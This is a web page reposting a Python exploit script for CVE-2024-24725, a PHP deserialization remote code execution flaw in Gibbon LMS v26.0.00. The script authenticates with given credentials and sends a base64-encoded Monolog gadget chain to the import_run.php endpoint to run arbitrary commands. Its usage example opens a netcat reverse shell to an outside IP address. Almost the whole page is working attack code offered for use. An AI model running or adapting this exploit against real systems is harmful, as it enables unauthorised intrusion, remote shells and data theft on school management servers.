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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Gibbon LMS has a PHP Deserialization vulnerability on the v26.0.00 version
# Date: 22.01.2024
# Exploit Author: SecondX.io Research Team(Ali Maharramli,Fikrat Guliev,Islam Rzayev )
# Vendor Homepage: https://gibbonedu.org/
# Software Link: https://github.com/GibbonEdu/core
# Version: v26.0.00
# Tested on: Ubuntu 22.0
# CVE : CVE-2024-24725

import requests
import re
import sys
import base64
import urllib.parse


def login(target_host, target_port,email,password):
     url = f'http://{target_host}:{target_port}/login.php?timeout=true'
     headers = {"Content-Type": "multipart/form-data; boundary=---------------------------174475955731268836341556039466"}
     data = f"-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n"
     r = requests.post(url, headers=headers, data=data, allow_redirects=False)
     print(url)
     print(r.headers)
     Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie'])
     if Session_Cookie[4] is not None and '/index.php' in str(r.headers['Location']):
         print("[X] Login successful!")

     return Session_Cookie[4]



def generate_payload(command):

     # Given base64-encoded string
     ### Actual Payload:
     ### a:2:{i:7%3BO:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"%00*%00socket"%3BO:29:"Monolog\Handler\BufferHandler":7:{s:10:"%00*%00handler"%3Br:3%3Bs:13:"%00*%00bufferSize"%3Bi:-1%3Bs:9:"%00*%00buffer"%3Ba:1:{i:0%3Ba:2:{i:0%3Bs:COMMAND_SIZE:"COMMAND"%3Bs:5:"level"%3BN%3B}}s:8:"%00*%00level"%3BN%3Bs:14:"%00*%00initialized"%3Bb:1%3Bs:14:"%00*%00bufferLimit"%3Bi:-1%3Bs:13:"%00*%00processors"%3Ba:2:{i:0%3Bs:7:"current"%3Bi:1%3Bs:6:"system"%3B}}}i:7%3Bi:7%3B}
     base64_encoded_string = 'YToyOntpOjclM0JPOjMyOiJNb25vbG9nXEhhbmRsZXJcU3lzbG9nVWRwSGFuZGxlciI6MTp7czo5OiIlMDAqJTAwc29ja2V0IiUzQk86Mjk6Ik1vbm9sb2dcSGFuZGxlclxCdWZmZXJIYW5kbGVyIjo3OntzOjEwOiIlMDAqJTAwaGFuZGxlciIlM0JyOjMlM0JzOjEzOiIlMDAqJTAwYnVmZmVyU2l6ZSIlM0JpOi0xJTNCczo5OiIlMDAqJTAwYnVmZmVyIiUzQmE6MTp7aTowJTNCYToyOntpOjAlM0JzOkNPTU1BTkRfU0laRToiQ09NTUFORCIlM0JzOjU6ImxldmVsIiUzQk4lM0J9fXM6ODoiJTAwKiUwMGxldmVsIiUzQk4lM0JzOjE0OiIlMDAqJTAwaW5pdGlhbGl6ZWQiJTNCYjoxJTNCczoxNDoiJTAwKiUwMGJ1ZmZlckxpbWl0IiUzQmk6LTElM0JzOjEzOiIlMDAqJTAwcHJvY2Vzc29ycyIlM0JhOjI6e2k6MCUzQnM6NzoiY3VycmVudCIlM0JpOjElM0JzOjY6InN5c3RlbSIlM0J9fX1pOjclM0JpOjclM0J9'

     command_size = len(command)

     # Decode base64
     decoded_bytes = base64.b64decode(base64_encoded_string)
     decoded_string = decoded_bytes.decode('utf-8')

     # URL decode
     payload = urllib.parse.unquote(decoded_string)
     # Replace placeholders in the decoded string
     payload = payload.replace('COMMAND_SIZE', str(command_size))
     payload = payload.replace('COMMAND', command)
     print("[X] Payload Generated!")
     return payload



def rce(cookie, target_host, target_port, command):
     url = f'http://{target_host}:{target_port}/index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'
     headers = {"Content-Type": "multipart/form-data; boundary=---------------------------104550429928543086952438317710","Cookie": cookie}
     payload = generate_payload(command)
     data = f'-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="address"\r\n\r\n/modules/System Admin/import_run.php\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="mode"\r\n\r\nsync\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="syncField"\r\n\r\nN\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="syncColumn"\r\n\r\n\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="columnOrder"\r\n\r\n{payload}\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:form-data; name="columnText"\r\n\r\nN;\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="fieldDelimiter"\r\n\r\n%2C\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="stringEnclosure"\r\n\r\n%22\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="filename"\r\n\r\nDataStructure-externalAssessment.xlsx\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="csvData"\r\n\r\n"External Assessment","Assessment Date","Student","Field Name Category","Field Name","Result"\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="ignoreErrors"\r\n\r\n1\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="Failed"\r\n\r\nSubmit\r\n-----------------------------104550429928543086952438317710--'

     r = requests.post(url, headers=headers, data=data, allow_redirects=False)
     print("[X] Request sent!")

     start_index = r.text.find("<h2>Step 4 - Live Run</h2>")
     end_index = r.text.find("<div class", start_index)
     result = r.text[start_index+26:end_index].strip()
     if result != '':
         print("[X] Execution result: \n"+result)
     else:
         print("[X] Command failed or did not output anything.")

     with open("pocresponse.html", "wb") as f:
         f.write(r.content)

if __name__ == '__main__':
     if len(sys.argv) != 6:
         print("[X] Usage: script.py <target_host> <target_port/url> <email> <password> <command>")
         print("[X] Example: python gibbon_rce.py 192.168.1.100 80/gibbon test.email@localhost.com password1 \"./nc -e /bin/bash 172.28.218.3 4444\"")
         sys.exit(1)
     cookie = login(sys.argv[1], sys.argv[2],sys.argv[3],sys.argv[4])
     rce(cookie, sys.argv[1], sys.argv[2], sys.argv[5])